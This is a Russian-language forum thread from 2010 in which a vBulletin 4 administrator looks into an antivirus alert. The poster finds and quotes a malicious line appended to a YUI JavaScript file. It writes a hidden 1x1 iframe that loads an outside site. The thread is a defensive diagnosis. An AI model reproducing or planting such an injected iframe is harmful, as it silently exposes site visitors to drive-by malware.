Взломали ?

03-10-2010, 03:19 PM

Сегодня на форуме антивирус ругнулся HTML:Iframe-inf на одну из js
В шаблоне headinclude прописаны

<script type="text/javascript" src="{vb:stylevar yuipath}/yuiloader-dom-event/yuiloader-dom-event.js?v={vb:raw vboptions.simpleversion}"></script>
<script type="text/javascript" src="{vb:stylevar yuipath}/connection/connection-min.js?v={vb:raw vboptions.simpleversion}"></script>

До этого случая вроде не было такого.
Хм. Видимо дело всетаки в антивирусе. Сегодня обновился и стал ругаться. В дистрибутиве тоже присутствуют эти js.

03-10-2010, 03:39 PM

Сравни размеры этих файлов с оригиналами, если есть отличия перезалей. А эти файлы основа YUI Framework, который используется в вобле уже давно...

03-10-2010, 04:31 PM

yuiloader-dom-event.js была изменена.

Это было дописано в самом конце.

Code:

document.write('<iframe src="http://alphafrogs.com//index.php?" width="1" height="1" style="display: none;"></iframe>');

03-12-2010, 12:09 AM

Нафига сырую 4 ставить))) на нее еще куча патчей будет))

03-12-2010, 10:20 AM

Quote:

Originally Posted by DokToP

Нафига сырую 4 ставить))) на нее еще куча патчей будет))

Дело оказалось совсем не в булке...

03-12-2010, 07:11 PM

Quote:

Originally Posted by DokToP

Нафига сырую 4 ставить))) на нее еще куча патчей будет))

Угу, если расчехлили файлы созданные YAHOO, при чем скорее всего по вине хостера, то точно четверка виновата

Великое дело все таки логика

03-12-2010, 07:55 PM

Quote:

Originally Posted by a_n_d_y

если расчехлили файлы созданные YAHOO, при чем скорее всего по вине хостера, то точно четверка виновата

тут несколько вариантов...
если яваскрипты подгружались НЕ с серверов YAHOO, то виноваты скрипты скрипты сайта/форума
или руки админа сайта/форума
или хостинг, могли ломануть через другой ресурс